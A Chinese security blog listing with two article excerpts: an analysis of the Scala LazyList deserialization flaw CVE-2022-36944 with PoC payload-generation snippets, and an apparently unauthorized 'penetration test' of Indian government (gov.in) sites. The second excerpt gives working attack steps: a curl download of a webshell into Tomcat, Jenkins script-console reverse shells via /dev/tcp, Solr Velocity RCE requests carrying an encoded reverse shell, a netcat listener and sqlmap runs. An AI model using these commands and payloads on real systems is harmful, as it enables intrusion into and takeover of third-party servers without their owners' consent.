• 基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)

    引言 前段时间打SCTF,大牛师傅们的WP后,在hello java那道题使用了CVE-2022-36944这个漏洞,但是查阅资料在国内乃至全世界互联网中没有找到相关分析文章,在github上找到了1个复现项目环境,研究了一些时间大概懂了一点。 没接触过Scala语言,虽然和java兼容性很强,但很多语言特性和机制都是第一次接触,而且有段时间没搞java安全了,这次相当于没有现成的分析文章,只能硬着头皮啃 POC复现环境 Github: lazylist-cve-poc “线索” For security, preventFunction0execution duringLazyListdeserialization 关于这个CVE的最详细的信息就是这位CVE发现者提交的issue,所以我能挖掘到的一切关于这个CVE的信息都是基于上面的POC环境和这个issue 利用条件 scala版本<2.13.9 允许用户伪造序列化字节流数据 前置知识 对于我本人来说,要钻透某个漏洞的话就必须要搞清楚是哪一步产生了漏洞,那么前提就是要了解这个漏洞产生流程的大框架,否则只针对链子上某点出现的反序列化干分析不仅枯燥难懂而且总感觉少了点什么 有Scala基础的师傅可以直接跳过这部分 Scala简介 Scala语言是一门多范式的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。Scala运行在Java虚拟机上,并兼容现有的Java程序。Scala源代码被编译成Java字节码,所以它可以运行于JVM之上,并可以调用现有的Java类库。 Scala和Java之间的联系很紧密,Scala可以看作是对Java语言的丰富和扩展,Scala比Java更加灵活和强大,支持更多的编程范式和语言特性,例如高阶函数、模式匹配、特质、偏函数、隐式转换等。 这个特性对于经验丰富的scala开发者来说很舒服,但对于第一次接触scala就要啃源码的人来说非常非常非常不友好,比如笔者 Scala也可以利用Java的丰富的生态系统,使用Java的各种框架和库。 Scala和Java之间的区别也很明显,Scala有自己的语法规则和风格,与Java有很多不同之处,例如变量声明、函数定义、类构造、异常处理、集合操作等。Scala还有一些Java没有的概念,例如伴生对象、样例类、富接口、自身类型等 基础语法即使不懂scala也差不多能看懂,所以不涉及语法糖或者比较新的机制的地方本篇文章不做论述 但scala代码的有些地方还是容易迷糊,所以在之后部分涉及到的语法看不懂的可以先自行学习一下 匹配器match Scala语言的匹配器match是一种强大的语法结构,它可以让你根据不同的条件对一个值进行分支处理,类似于Java中的switch语句,但是更加灵活和强大。 match的基本用法 // 定义一个值 val x = ... // 使用match对值进行匹配 x match { // 每个case表示一种匹配情况 case 条件1 => 结果1 // 如果x满足条件1,就返回结果1 case 条件2 => 结果2 // 如果x满足条件2,就返回结果2 ... case _ => 默认结果 // 如果x都不满足上面的条件,就返回默认结果,_表示任意值 }   当然,你也可以用其他字符表示默认结果,而与_的区别就是_作为接受其他情况的变量时不会赋予$值 object Main { def show(result:String):Unit={ println(result) } def main(args: Array[String]): Unit = { val x=11 val y=x match { case 1 => "one" case 2 => "two" case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 //case _ => s"other: $" //错误:Cannot resolve symbol _ } show(y) //other: 11   }} match可以匹配不同类型的值,比如整数、字符串、布尔值等,也可以匹配复杂的数据结构,比如列表、元组、样例类等。match还可以使用模式守卫来增加额外的判断条件,比如: x match { case 条件1 if 表达式1 => 结果1 // 如果x满足条件1,并且表达式1为真,就返回结果1 case 条件2 if 表达式2 => 结果2 // 如果x满足条件2,并且表达式2为真,就返回结果2 ...} match的其他用法 // 把match赋值给一个变量val result = x match { case 条件1 => 结果1 case 条件2 => 结果2 ...}   // 把match作为函数的参数def foo (y: Int) = {println (y)}foo (x match {case 条件1 => 结果1case 条件2 => 结果2...}) // 把match作为函数的返回值def bar (z: String): Boolean = z match {case "yes" => truecase "no" => falsecase _ => false}   总的来说,match是一个表达式,它有一个返回值 apply方法 apply方法是Scala中一个非常有用的特性,它可以让我们用一种简洁而直观的方式来创建和使用对象。 apply方法的本质是一个普通的方法,它可以定义在类或者对象中,但是它有一个特殊的语法糖,就是当我们用括号传递参数给一个类或者对象时,Scala会自动调用它的apply方法,并把参数传给它。 例如: // 定义一个类Person,有一个name属性class Person(val name: String)   // 定义一个伴生对象Person,有一个apply方法,接受一个name参数,返回一个Person实例object Person {def apply(name: String) = new Person(name)} // 创建一个Person实例,可以直接用Person("Alice"),而不需要用new Person("Alice")val alice = Person("Alice")//相当于Person.apply("Alice") // 打印alice的name属性,输出Aliceprintln(alice.name)   我们通过Person("Alice")这种方式创建了一个Person实例,而不需要用new关键字。这是因为Scala会把Person("Alice")转换成Person.apply("Alice"),也就是调用了伴生对象Person的apply方法,并把"Alice"作为参数传给它。这样就可以省略new关键字,让代码更简洁。 apply方法不仅可以定义在伴生对象中,也可以定义在类中。当我们对一个类的实例用括号传递参数时,Scala会调用该类的apply方法,并把参数传给它。 object Main {   def main(args: Array[String]): Unit = { class Person(val name: String){ //在类中定义apply方法,输出name def apply() :Unit = println(s"I am $name") } var p= new Person("lanb0") p()//相当于p.apply() //I am lanb0 }} 伴生对象 伴生对象是Scala中一种特殊的单例对象,它与一个同名的类存在于同一个文件中,这个类被称为伴生类。 伴生对象和伴生类之间有以下几个特点: 伴生对象和伴生类可以互相访问对方的私有成员,包括字段和方法。 伴生对象的成员相当于Java中的静态成员,可以直接通过对象名调用,而不需要创建对象实例。 伴生对象可以实现apply方法,用于创建伴生类的实例,这样就可以省略new关键字。 伴生对象可以实现unapply方法,用于实现模式匹配和提取器的功能。 伴生对象可以扩展一个或多个特质(trait),从而实现多重继承和混入(mixin)的效果。 下面是一个简单的例子,演示了伴生对象和伴生类的定义和使用: // 定义一个Person类,作为伴生类class Person(val name: String, val age: Int) { private val secret = "I love Scala"   def sayHello(): Unit = {println(s"Hello, I am $name, $age years old.")}} // 定义一个Person对象,作为伴生对象object Person { var count = 0 def increase(): Unit = {count += 1println(s"Person count: $count")} def showSec():Unit={println(apply("test",1).secret)} // 定义一个apply方法,用于创建Person类的实例def apply(name: String, age: Int): Person = {increase()new Person(name, age) // 返回新的Person对象} // 定义一个unapply方法,用于提取Person类的属性def unapply(person: Person): Option[(String, Int)] = {if (person == null) None // 如果person为空,返回Noneelse Some(person.name, person.age) // 否则返回Some元组}}object Main { def main(args: Array[String]): Unit = {// 使用伴生对象的apply方法创建Person类的实例,省略了new关键字val p1 = Person("Alice", 20)//Person count: 1val p2 = Person("Bob", 25)//Person count: 2 // 使用伴生对象的字段和方法 println(Person.count) // 输出2 Person.increase() // Person count: 3 Person.showSec()//输出Person count: 4 //I love Scala(伴生对象可以访问伴生类的私有成员) // 使用伴生类的字段和方法 /* println(p1.secret)// 无法访问私有成员 */ p1.sayHello() // 输出Hello, I am Alice, 20 years old. // 使用模式匹配和提取器,利用伴生对象的unapply方法 val p3=null p1 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. case _ => println("Unknown person.") } p3 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. case _ => println("Unknown person.") } }}   特质trait Scala语言中,有一个Scala语言中,有一个重要的概念叫做特质(trait),它类似于Java语言中的接口,但是比接口更加强大和灵活。 特质(trait)是一种定义了一组抽象或具体的属性和方法的类型,它可以被类(class)或对象(object)扩展(extends)或混入(mix in)。 特质可以实现多重继承,也就是说,一个类可以继承多个特质,从而获得所有特质中定义的属性和方法。 特质的定义和使用 特质的定义使用关键字trait trait PersonBody { val height: Int}     但是特质不能被实例化,因此特质没有参数,也没有构造函数。像trait PersonBody(170)或者new PersonBody(170)这样的写法就是错的,可以类比java的接口无法实例化 要使用特质,可以使用extends关键字来扩展一个或多个特质 扩展单个特质 object Main { trait PersonBody { var height: Int } class Person(name : String) extends PersonBody{ override var height: Int = 170 } def main(args: Array[String]): Unit = { var person = new Person("Cloud") println(person.height) //170 }} 注意,重写(实现)属性或方法时,需要使用override关键字来修饰 trait的方法声明必须被实现 扩展多个特质 使用with关键字来连接 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby() } class Person(name : String) extends PersonBody with PersonHobby { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } }def main(args: Array[String]): Unit = {var person = new Person("Cloud")person.showHobby() }}   with后面可以跟with,来扩展很多特质 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby():Unit } trait PersonScore{ var math="150" def showScore():Unit } class Person(name : String) extends PersonBody with PersonHobby with PersonScore { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } override def showScore(): Unit = { println(math) } } def main(args: Array[String]): Unit = { var person = new Person("Cloud") person.showHobby() person.showScore() }}/*输出Honor of King : World150*/ 自身类型self-type self-type表示一个类或特质依赖于另一个类型,即它必须和另一个类型混入(mixin)才能被实例化。 用一个简单的例子来解释Scala自身类型的概念。假设你有一个宠物猫,它有一些属性和行为,比如名字、颜色、叫声等。你可以用一个类来表示它: class Cat { val name: String = "Tom" val color: String = "Gray" def meow(): Unit = println("Meow!")} 现在,你想给你的猫添加一些新的功能,比如会说话、会唱歌、会跳舞等。你可以用特质来定义这些功能: trait Talkative { def talk(): Unit}   trait Singer {def sing(): Unit} trait Dancer { def dance(): Unit} 但是,这些功能并不是所有的猫都有的,只有一些特殊的猫才有。比如,只有会说话的猫才能唱歌,只有会唱歌的猫才能跳舞。你怎么表示这种依赖关系呢?你可以用自身类型来做到这一点: trait Talkative { def talk(): Unit}   trait Singer {self: Talkative => // 声明自身类型,表示Singer依赖于Talkativedef sing(): Unit = {talk() // 可以直接使用Talkative的成员println("La la la...")}} trait Dancer { self: Singer => // 声明自身类型,表示Dancer依赖于Singer def dance(): Unit = { sing() // 可以直接使用Singer的成员 println("Shake shake shake...") }} 这样,你就可以给你的猫混入这些特质,让它变得更有趣: val tom = new Cat with Talkative with Singer with Dancer // 创建一个会说话、唱歌、跳舞的猫tom.talk() // 输出:Meow!tom.sing() // 输出:Meow! La la la...tom.dance() // 输出:Meow! La la la... Shake shake shake... 但是,如果你试图给一个不会说话的猫混入Singer或Dancer特质,就会报错: val jerry = new Cat with Singer // 报错:illegal inheritance; self-type Cat with Singer does not conform to Singer's selftype Singer with Talkativeval lily = new Cat with Dancer // 报错:illegal inheritance; self-type Cat with Dancer does not conform to Dancer's selftype Dancer with Singer 这是因为自身类型注解限制了混入特质的对象必须满足依赖类型的条件。这样可以保证对象在使用特质的成员时不会出现错误。 惰性列表LazyList(重点) LazyList是Scala 2.13版本引入的新的集合类型,它是一种惰性求值的列表。惰性求值的意思是,列表中的元素只有在需要的时候才会被计算,而不是一开始就全部计算好。这样可以节省内存和时间,也可以表示无限的序列。 State,head及tail 名称 类型 作用 state 字段 存储LazyList对象的状态,表示惰性序列的结构和计算状态 State 特质 定义LazyList对象的状态的特质,有两个子类:Cons和Empty tail 方法 返回一个新的LazyList对象,包含除了第一个元素之外的所有元素,惰性求值 head 方法 返回LazyList对象的第一个元素,严格求值 State private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A] } state private lazy val state: State[A] = { // if it's already mid-evaluation, we're stuck in an infinite // self-referential loop (also it's empty) if (midEvaluation) { throw new RuntimeException("self-referential LazyList or a derivation thereof has no more elements") } midEvaluation = true val res = try lazyState() finally midEvaluation = false // if we set it to true before evaluating, we may infinite loop // if something expects state to already be evaluated stateEvaluated = true lazyState = null // allow GC res } 通过lazyState()方法去计算State的head和tail,保证LazyList的实时状态正确 关键字lazy表示延迟计算,也就是使用到的时候才会计算出结果 工作原理(关键) 光看上面的这几个成员会让人很头大,所以我用了很长一段时间才把他们的内在联系和整个LazyList体系的运行机制搞明白了 首先,我们创建一个存有无限个数字"1"的LazyList val ones = LazyList.continually(1) 此时,我们println这个惰性列表,可以发现是全都没有计算的,会打印出LazyList(<not computed>) 之后,我们用drop方法取出第一个元素(索引为0),就要用到我们之前的head方法,返回LazyList对象的第一个元素。然后再次打印这个LazyList println(ones.drop(0).head)//1println(ones)//LazyList(1, <not computed>) 好了,到此结束,接下来我们分析一下LazyList的内部做了什么 内部流程 创建LazyList时,LazyList会接受一个参数lazyState(一般情况下用户不用管),这个lazyState是一个无参的匿名函数,这个匿名函数会返回一个State对象,这个State存储着head和tail方法 private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A]} 这个匿名函数的head方法是:返回一个元素,这个元素是当前LazyList计算出的第一个元素 这个匿名函数的tail方法是: 返回一个新的LazyList,存储着除了第一个元素之外的其他元素(这里的"存储"并不是实际存在的,更恰当的说是表示其他元素的一个集合) 注意,此时匿名函数并没有被调用,也就是说state字段的head和tail都还没有实现 到目前为止,LazyList里面一个实际存储的元素都没有,所以会显示LazyList(<not computed>) 接下来,我们调用了方法来取出第一个元素 LazyList会使用state.head来获取第一个元素,此时需要用到state,所以懒加载的state字段开始初始化 private lazy val state: State[A] = { state字段在初始化过程中,会调用lazyState()方法,这个lazyState就是LazyList的构造器接受的那个匿名函数。 val res = try lazyState() finally midEvaluation = false lazyState方法执行完后会返回一个State对象,这个State的head方法返回数字1,而tail方法返回一个新的存着无限个1的LazyList LazyList使用state.head方法获取到结果之后,把结果返回给drop.head的方法调用者 之后,如果未来还要取新的元素,那么我们所使用的LazyList就是tail方法返回的那一个新的存有无限个1的LazyList,而刚开始创建的那个LazyList就被垃圾回收器收走了 通过这个流程,我们可以看出惰性列表的本质,就是不停地用方法去取值,而不是一开始就存着[1,1,1,1,1......]在内存中 LazyList如何实现序列化与反序列化(关键) SerializationProxy类,它是一个序列化代理,它是用来代替LazyList对象进行序列化和反序列化的类。 官方注解 翻译过来就是: 序列化代理用于将LazyList转换成一个可以存储或者传输的格式。 这个序列化代理适用于那些以一系列已经计算出来元素开头的LazyList。这些已经计算出来的元素会以一种紧凑的顺序格式进行序列化,然后跟着未计算出来的元素,它们使用标准的Java序列化方式来存储未计算出来的元素的结构。这样就可以实现对长的已经计算出来的惰性序列的序列化,而不会因为递归地序列化每个元素而耗尽栈空间。 序列化 private[this] def writeObject(out: ObjectOutputStream): Unit = { out.defaultWriteObject() var these = coll while(these.knownNonEmpty) { out.writeObject(these.head)//这里决定了POC里的createLazyList中,为什么需要设置一个空的state these = these.tail } out.writeObject(SerializeEnd) out.writeObject(these) } 流程可以分为以下几步: 调用out.defaultWriteObject()方法,这是一个标准的序列化操作 使用一个while循环遍历LazyList对象中已经计算出来的元素,并且使用out.writeObject方法将每个元素序列化 遇到第一个未计算出来的元素时,跳出循环 序列化一个特殊的标记SerializeEnd,表示已经计算出来的元素结束了 使用out.writeObject方法将未计算出来的元素(也就是LazyList对象的tail)进行序列化 序列化结束 反序列化 private[this] def readObject(in: ObjectInputStream): Unit = { in.defaultReadObject() val init = new ArrayBuffer[A] var initRead = false while (!initRead) in.readObject match { case SerializeEnd => initRead = true case a => init += a.asInstanceOf[A] } val tail = in.readObject().asInstanceOf[LazyList[A]] coll = init ++: tail } 流程可以分为以下几步: 调用in.defaultReadObject()方法,这是一个标准的反序列化操作。 创建了一个名为init的数组缓冲区,用来存储已经计算出来的元素。 使用一个while循环反序列化每个元素,并且判断是否是特殊的标记SerializeEnd。 如果不是,就将该元素添加到init数组缓冲区中; 如果是,就表示已经计算出来的所有元素都已经反序列化完了,跳出循环。 反序列化剩余的没有计算出的元素,并将其类型转换为LazyList 使用++:方法连接init和tail,重构LazyList 反序列化结束 漏洞分析 CVE-2022-36944的产生原因,简单来说就是scala的LazyList在反序列化时会调用一个无参匿名函数来更新LazyList的状态,而这个函数是是可以被控制的 首先是ObjectInputStream.readObject方法接受到伪造的序列化字节流之后,尝试反序列化LazyList,进而把控制权转交给SerializationProxy类的readObject方法 执行到++:方法, 跟进++:(没想到吧,我是个方法) 可以看到调用了prependedAll方法,但是在LazyList中重写了这个方法 跟进knownIsEmpty方法, 这里要让stateEvaluated为true,否则不会执行isEmpty方法 跟进isEmpty方法, 跟进state字段, 跟进LazyState函数,可以发现就是LazyList构造器接受的无参匿名函数 最终我们只需要提前将这个函数替换为符合条件的任意函数,就可以达到漏洞利用的效果 如何找到可利用的方法 从LazyList的构造器的参数定义中,可以看出,lazyState的要求是一个无参的匿名函数,其次这个CVE利用的是函数,并不能RCE,所以我们还需要找到标准java库或者scala库中可以使用的无参匿名函数 我们需要知道,在Scala中,所有无参匿名函数都会被编译器转换为实现了Function0接口的实例对象, 假如我们有以下代码: object Main { def main(args: Array[String]): Unit = { //定义一个匿名函数a val a=()=>{} }} 用scalac编译为class字节码 scalac Main.scala javap反编译 javap Main$.class scala编译器会为每一个伴生对象创建一个对象名(类名)+$结尾的类,类中的MODULE$静态成员就是伴生对象自身,存有自身的所有属性和方法 或者直接复制以下代码 object Main { class test(val func:()=>Int){ def show(): Unit = { func() } }} 然后Ctrl+左键查看func的类型信息 可以看到编译器自动将func所表示的匿名函数转换为了Function0的实现对象 那么接下来的任务,就是要找到实现了Function0的所有类 查看POC中的DefaultProviders类,发现使用的都是以$$anonfun$$lessinit$greater$x 结尾的类,这些类 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3scala.sys.process.ProcessBuilderImpl$FileInput$$anonfun$$lessinit$greater$2scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1 这里再稍微说一下这些类名是如何生成的,以scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1为例 Scala编译器在编译Scala代码时,会将匿名函数转换成Java字节码,这样就可以在Java虚拟机上运行。为了与Java兼容,Scala编译器会为每个匿名函数生成一个类,并给这个类一个特殊的名字,通常是anonfun加上一些数字和符号。这个类名的作用是唯一地标识这个匿名函数,以便在运行时调用。 $URLInput:表示ProcessBuilderImpl的内部类 $$anonfun:表示匿名函数的前缀,表示这是一个自动生成的类。 $$lessinit$greater:是<init>的转义形式,表示这个匿名函数是在构造器中定义的。 $1:是匿名函数的序号,表示这是第一个匿名函数。 去追踪一下这个类,发现最多只能看到URLInput类 那如果直接用URLInput行不行呢,尝试把代码改一下 public static Function0<Object> urlInput(Object[] args){ try { URL url = new URL((String) args[0]); return ReflectionUtil.newInstance("scala.sys.process.ProcessBuilderImpl$URLInput", new Class[]{ ProcessBuilder$.class, URL.class}, new Object[] { ProcessBuilder$.MODULE$,url});//这里要用ProcessBuilder的实例对象,否则报错 } catch (MalformedURLException e) { throw new RuntimeException(e); }   }   生成一下payload 发现报错,这是因为URLinput就是一个正常的类,而不是由Scala编译器转换过来的匿名函数,无法转换为Function0 所以说不能直接用URLinput作为利用方法 再回到scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1,以及URLInput类的那行定义, class URLInput(url: URL) extends IStreamBuilder(url.openStream(), url.toString) 猜测:当一个类继承了一个父类,并且这个被继承的父类的构造参数调用了子类构造参数的方法时,scala编译器会生成一个 带有$$anonfun$$lessinit$greater$类名的类。 做一个实验, class a(){ def msg(): String = { return "i am class a" }}class b (name:String)class c(url:a) extends b(url.msg()) 用sbt 生成字节码,查看生成的class 并没有生成带有$$anonfun$$lessinit$greater$类名的类,感觉还是忽略了什么 去查看IStreamBuilder类,也就是被URLInput继承的类, 发现其第一个构造参数如下 stream: => InputStream 这里的=>可不是()=>{}的简写,而是一个新的概念,叫做传名参数 传名参数是一种特殊的参数类型,它表示参数的值不是在函数调用时就确定,而是在函数体内每次使用时才计算。 可以理解为惰性求值,需要传入一个函数 更改实验代码: package zhb   class a(){ def msg(): String = { return "i am class a" }}class b (name: =>String)//这里注意冒号和等号之间的空格class c(url:a) extends b(url.msg()) clean一下,然后stb编译 多出来了c$$anonfun$$lessinit$greater$1.class, url.msg()即使改为一个带有参数的方法,也依然会生成同名类 观察其字节码可以发现其调用的a.msg() 到此为止,类比推理一下,我们终于明白scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1这个编译器自动生成的类其实就是url.openStream()方法转换而来的, 也就是说,在LazyList计算state时使用的LazyState(),经过我们精心构造后被替换为了url.openStream()方法 对应的可利用函数还有如下: 对于url.openStream(),虽然他自身并不是匿名函数,理应是一个函数返回值。 但是因为自己是被作为传名参数调用的,这个方法只会再被需要使用时执行,所以会存留方法的引用或者说实现。 object HelloWorld { def main(args: Array[String]) { def msg(): Unit = { println("msg used!") } class a(age: => Unit) {//传名参数 } new a(msg()) //什么都不会输出 }} 又因为是作为父类的构造参数,所以scala编译器会为父类的传名参数生成一个实现了Function0类的子类,即使这个参数的实现方法参数可能不为0 对于FileInputStream和FileOutputStream的new方法,同理 综上所述,CVE-2022-36944的可利用方法的符合条件如下: 1.作为传名参数被使用 2.满足(1)的同时,作为父类的构造参数 3.存在于受害者服务环境中的classpath中 有兴趣的师傅可以再找找有没有其他可利用方法 漏洞复现 poc.cve.lazylist.payload.Main更改为Base64方式输出 public class Main { public static void main(String[] args) throws IOException { ....   String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64); } } victim改为对Base64进行反序列化 public class Victim { public static void main(String[] args) throws IOException { String data="rO0........."; deserialize(Base64.getDecoder().decode(data));   } } urlInput 起一个http服务或者dnslog, public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "http://url"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.URL_INPUT); byte[] payload = payloadGenerator.generatePayload(fileToTruncate); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行 可以接受到http请求,但是无法弹shell fileOutput 这个payload可以用来清空文件内容,比如黑名单 或者打开一个追加流,但没什么用 比如我们创建一个waf.txt,随便写点东西 public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "文件的绝对路径"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.FILE_OUTPUT); boolean append=false;//清空文件 byte[] payload = payloadGenerator.generatePayload(fileToTruncate,append); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行后清空文件内容 fileInput 文件输入流是用来读取文件的,所以在不能使用方法的前提下没什么用 心得感悟 断断续续用了一周左右的时间,从对scala的代码都看不懂到写完这篇文章,期间走了很多弯路,甚至想放弃,直到现在都无法相信自己能硬啃下来这个CVE,所以说,坚持不一定有好的结果,但一定会有收获。 最后,请允许我以崇高的敬意给予挖掘0day的安全研究员们  ...

    2023-08-20 228
  • 一次暴露面全开的红帽渗透测试【getshell】

    0x01、信息收集阶段 ==注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/=== 一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集 host="gov.in" && country="IN" 哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。 试着写了个脚本看看: import pythonfofa import csv filename = "IN_domain.csv"   email = 'u_mail'key = 'u_API_KEY'search = pythonfofa.Client(email, key)get_data = search.search('host="gov.in" && country="IN"', size=70000)   print(get_data)   requests = [result[1] for result in get_data['results']]print(requests)   打开CSV文件并设置写入模式   with open(filename, "w", newline="") as file:writer = csv.writer(file)   遍历请求列表   for request in requests:   在控制台打印域名   print(request)   检测域名是否包含"http://"   if not request.startswith("http://") and not request.startswith("https://"):   如果不包含,则在域名前添加"http://"   request = "http://" + request   在域名后添加斜杠"/"   request += "/"   将请求和值"1"作为一行写入CSV文件   writer.writerow([request, 1])   是的,肯定不能跑,下断点,调试看看 很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫 主流框架的相关漏洞的FOFA规则语句: Fastjson app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Struts2 app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Log4j2 (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")) 其他的也都大同小异,照葫芦画瓢就行。 目标站点收集差不多了,就是漏洞探测阶段了。 【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】 ① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS) 0x02、漏洞探测及利用 Struts2: 直接掏出大范围漏扫AWVS就行批量漏洞探测: 第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞: 很好一堆==Struts2==漏洞,直接上工具: 得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell== 将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/ 直接执行 curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp 然后webshell工具Antsword连接即可: 爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。 Weblogic: 很好用的awvs,直接上工具注入内存马: 冰蝎连接webshell: 同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》 (PS:这个时候已经有些疲软了,没有去手测upload的点) Jenkins: 中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA: (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443") 一看86条资产,有戏,数量不多,直接手测: 存在未授权,访问manager --> script页面,进行命令执行测试: println "ls -al".execute().text 存在命令执行,尝试反弹shell: println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text 接收shell的服务器开启端口监听: 执行命令 发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作: 在sh文件中写入如下内容: bash -i >& /dev/tcp/ip/port 0<&1 保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件: println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text 查看.sh文件是否获取成功: println "ls -al /tmp".execute().text 获取.sh文件成功,执行文件,反弹shell: 开启监听: 执行命令,启动.sh文件: println "bash /tmp/jenkins.sh".execute().text 成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。 Apache-Solr 闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA: country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80") 数据不大,接着手测,拿到三个未授权(不需要登陆): ==授权==: ==未授权==: 拿到未授权之后,进行CVE探测: 访问/solr/admin/cores/,获取name => music 接着拼接路径/solr/music/config/查看用户配置信息: 都为true,可直接利用公网披露的payload进行RCE, GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 测试是否出网: 修改执行命令为 curl%20xtolsc.dnslog.cn 可出网,直接反弹shell: GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close VPS开启端口监听:nc -lvvnp 5000 接听到弹过来的shell了,好,又拿下一台,root权限。 其他漏洞发现 反射型XSS 具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句 <script>alert(1)</script> SQL注入 这类没有具体测试,发现注入点之后直接上SQLmap开扫: sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql 诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。 渗透总结 本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。...

    2023-08-19 253
  • 宝塔面板Nginx防火墙ip白名单无效怎么办?

